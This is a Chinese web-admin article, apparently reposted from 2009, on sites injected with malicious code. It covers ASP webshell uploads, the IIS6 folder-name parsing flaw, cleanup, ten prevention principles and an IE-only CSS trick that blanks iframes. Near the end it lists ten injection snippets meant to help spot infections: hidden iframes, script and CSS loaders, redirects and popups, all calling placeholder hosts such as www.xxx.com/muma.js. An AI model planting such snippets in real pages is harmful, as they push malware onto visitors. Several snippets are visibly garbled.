您的位置:首页 > 运维架构 > 网站架构

网站被挂马怎么办呢?如何防止网站被挂马?

2009-11-26 09:28 197 查看
网站被挂马?如何防止网站被挂马?各种挂马方式!请参考
对于网站被人恶意加上一段<script></script><iframe></iframe>的代码而烦心不已。轻则导致访问者被迫访问某些网站或广告以至机器、重则被强制安装各种木马病毒,被盗取银行卡号密码,QQ密码等等。如何防止网站被挂马,成为很多朋友关心的问题!今天我们主要是讲讲这方面的问题,希望可以起到抛砖引玉的作用,使大家真正重视起来这个问题!

一、为什么好好的网站会有木马?
一般木马是来自ASP SHELL和PHP SHELL的程序段控制不严,程序上有上传功能,没有进行文件目录和文件后缀等的判断,一般这类的目录,以“海阳顶端网ASP木马”较为流行。

因2003平台IIS6原因,也存在目录名问题引起ASP木马。( 微软的IIS 6存在严重解析文件名错误测试办法:在FTP中建立一个 test.asp 的文件夹,文件夹名就是 test.asp ,在这个文件夹中上传一个 hack.jpg,这个jpg的内容可以直接是写上测试服务器漏洞,然后,用IE访问这个hack.jpg,你可以发现,它一样被当作是ASP文件来运行!显然,只要你的网站程序,允许用户自己建立文件夹及上传图片,黑客就可以上传图片来当作ASP木马来运行。

解决办法:所有使用星外虚拟主机管理平台的虚拟主机用户,可以在主机面板,设置执行权限选项中,直接将有上传权限的目录,取消ASP的运行权限,就可以解决这个问题。
大家常用的动易2006和动网,BLOG这类的程序,需要详细的检查一下,并跟着开发者进行相应的安全程序升级。这样才能减少因代码原因引起的网站被黑。

2、网站被黑了,如何检查是那些网页有问题呢。
目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入<iframe src=网站排名

http://www.XXXX.com这样的,需要使用查找程序来查找这类文件出来,手工删除此类插入的HTML代码。这项工作相对比较繁锁。需要仔细的查找。也会有一些木马是插入到js中,是js调用方式的。

3、禁止写入和目录禁止执行的功能,二项功能组合,可以有效的防止ASP木马。这对于常被ASP木马影响的网站来说,会有一些帮助。

4、防范ASP木马的十大基本原则
  由于ASP它本身是服务器提供的一贡服务功能,特别是最近由dvbbs的upfile文件出现漏洞以来,其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为网管人员提出了更高的技术要求.几个大的程序全部被发现存在上传漏洞,小程序更是不计其数,让asp木马一下占据了主流,得到广泛的使用,想必如果你是做服务器的话,一定为此头疼不止吧,特别是虚拟主机的用户都遇到过网页被篡改、数据被删除的经历,事后除了对这种行径深恶痛绝外,许多客户又苦于没有行之有效的防范措施。鉴于大部分网站入侵都是利用asp木马完成的,特写此文章以使普通虚拟主机用户能更好地了解、防范asp木马。也只有空间商和虚拟主机用户共同做好防范措施才可以有效防范asp木马!

  我们首先来说一下怎么样防范好了,说到防范我们自然要对asp木马的原理了,大道理我也不讲了,网上的文章有的是,简单的说asp木马其实就是用asp编写网站程序,甚至有些asp木马就是由asp网站管理程序修改而来的。就比如说我们常见的asp站长助手,等等它和其他asp程序没有本质区别,只要是能运行asp的空间就能运行它,这种性质使得asp木马非常不易被发觉。它和其他asp程序的区别只在于asp木马是入侵者上传到目标空间,并帮助入侵者控制目标空间的asp程序。严重的从而获取服务器管理员的权限,要想禁止asp木马运行就等于禁止asp的运行,显然这是行不通的,这也是为什么asp木马猖獗的原因!有人要问了,是不是就没有办法了呢,不,有办法的:

第一:从源头入手,入侵者是怎么样上传asp木马的呢?一般有几种方法,通过sql注射手段,获取管理员权限,通过备份数据库的功能将asp木马写入服务器。或者进入后台通过asp程序的上传功能的漏洞,上传木马等等,当然正常情况下,这些可以上传文件的asp程序都是有权限限制的,大多也限制了asp文件的上传。(比如:可以上传图片的新闻发布、图片管理程序,及可以上传更多类型文件的论坛程序等),如果我们直接上传asp木马的话,我们会发现,程序会有提示,是不直接上传的,但由于存在人为的asp设置错误及asp程序本身的漏洞,给了入侵者可乘之机,实现上传asp木马。

  因此,防范asp木马的重点就在于虚拟主机用户如何确保自己空间中asp上传程序的安全上,如果你是用别人的程序的话,尽量用出名一点的大型一点的程序,这样漏洞自然就少一些,而且尽量使用最新的版本,并且要经常去官方网站查看新版本或者是最新补丁,还有就是那些数据库默认路径呀,管理员密码默认呀,一定要改,形成习惯保证程序的安全性。

  那么如果你是程序员的话,我还想说的一点就是我们在网站程序上也应该尽量从安全的角度上编写涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,涉及到与数据库连接地用户名与口令应给予最小的权限; 需要经过验证的ASP页面,可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。防止ASP主页.inc文件泄露问题; 防止UE等编辑器生成XXX.asp.bak文件泄露问题等等特别是上传功能一定要特别注意上面的只是对客户的一些要求,但是空间商由于无法预见虚拟主机用户会在自己站点中上传什么样的程序,以及每个程序是否存在漏洞,因此无法防止入侵者利用站点中客户程序本身漏洞上传asp木马的行为。空间商只能防止入侵者利用已被入侵的站点再次入侵同一服务器上其他站点的行为。这也更加说明要防范asp木马,虚拟主机用户就要对自己的程序严格把关! 为此我总结了ASP木马防范的十大原则供大家参考:
  1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。
  2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。
  这其中包括各种新闻发布、商城及论坛程序,只要可以上传文件的asp都要进行身份认证!
  3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。
  4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。
  5、要尽量保持程序是最新版本。
  6、不要在网页上加注后台管理程序登陆页面的链接。
  7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。
  8、要时常备份数据库等重要文件。
  9、日常要多维护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全!
  10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。
 
重新上传文件前,所有asp程序用户名和密码都要重置,并要重新修改程序数据库名称和存放路径以及后台管理程序的路径。
  做好以上防范措施,您的网站只能说是相对安全了,决不能因此疏忽大意,因为入侵与反入侵是一场永恒的战争。

ps:检查文件是否被挂马的时候可以参考下!
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src="/xxx.js>";</script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt>;</script>
muma.txt可改成任意后缀
四:body挂马
<body onload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js>;</script>")')}
七:JAVA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的
内容 </a><SCRIPT Language="JavaScript">function www_163_com (){var url="网马地址";open url,"NewWindow","toolbar=no,location=no,directories=no,
status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}
</SCRIPT>

expression可以执行JS脚本。语法格式如下二种:标记固有的CSS属性名:expression(JS表达式);或自定义属性名:expression(JS表达式);
在这里我们选择第二种,代码应该大致是这样ifram e{v:expression(JS表达式);}接下来的问题是如何销毁网页里所有的ifra me对象;使用JS实现的原理是这样的:使ifra me里的请求地址变成空白页(about:blank),再将ifra me对象从DOM(文档对象模型)中移除就可以切断所有ifr ame里的
请求了。移除DOM节点的方法比较多,我这里就用 outerHTML这个属性吧。CSS代码如下:
ifra me{v:expression(this.src="/about:blank",this.outerHTML='');}
说明:前面的v字是灵儿自己定义的一个CSS属性,这里的this代表所有将要描述外观的ifra me对象,中间的逗号代表二句代码一起执行,没有执行优先顺序,这可是强有力的保证噢。about:blank代表空白页,大家都知道的。outerHTML属性是DOM对象包含自身的HTML代码,而innerHTML则是DOM对象(不含本身)里面所包含的HTML代码。
爽快,代码写好了,就让我信来测试一下有没有效果。
首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句):
本帖相关代码<style type="text/CSS">
i frame{v:expression(this.src="/about:blank",this.outerHTML='');}
</style>

然后在这个页面插入几个I FRAME代码,假设它们是被挂的木马网页。代码如下:
<if rame src=""></ifr ame>
<ifr ame src="http://www.xxx.com/"></if rame>网站
<ifr ame src="

http://www.xxxx.com/"></ifr ame> 网站二
保存为noifra me.htm,打开浏览器测试一下(本地测试需要启用顶部禁用的脚本的提示条哦)。我这里使用抓包工具来测试,不过也没有必要使用抓包工具,一个最简单有效的方法是打开IE的缓存文件夹,先清空它,再刷新这个页面,看看缓存文件夹里有没有这三个网站里的文件。如果没有,说明没有任何
请求结果被返回。
提示:Windows XP SP2的缓存文件夹位置 C:/Documents and Settings/Administrator/LocalSettings/Temporary Internet Files
细心的朋友发现问题来了,如果我自己的网页里要使用ifra me这个东东怎么办?
答:如果要使自己的ifra me显示在网页里,而别人挂的I FRAME马都不起作用,在CSS里加一段代码#haoexe{v:expression() !important}
对应的I FRAME代码为:
<i frame id="haoexe" name="xxx" src="http://www.xxx.com/"></i frame> 就OK了。
提示:IE7中优先执行标注有"!important"描述的样式,IE6不认识!important,采用就近原则,所以IE6的这个代码放在CSS的最后就可以了。
这里的f126,有很多朋友有疑问,他们问我为什么取"f126",我这样回答——这个f126是随意取的,只要下面的ifra me里的ID属性和CSS里的一致就行了。
BBSGOOD用户加在后台CSS样式文件编辑器中,如果自己不用ifr ame,可以直接加入以下语句本帖相关代码i frame{v:expression(this.src="/about:blank",this.outerHTML='');}

以上方法只是御防性的去解决ifr ame的挂马问题。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: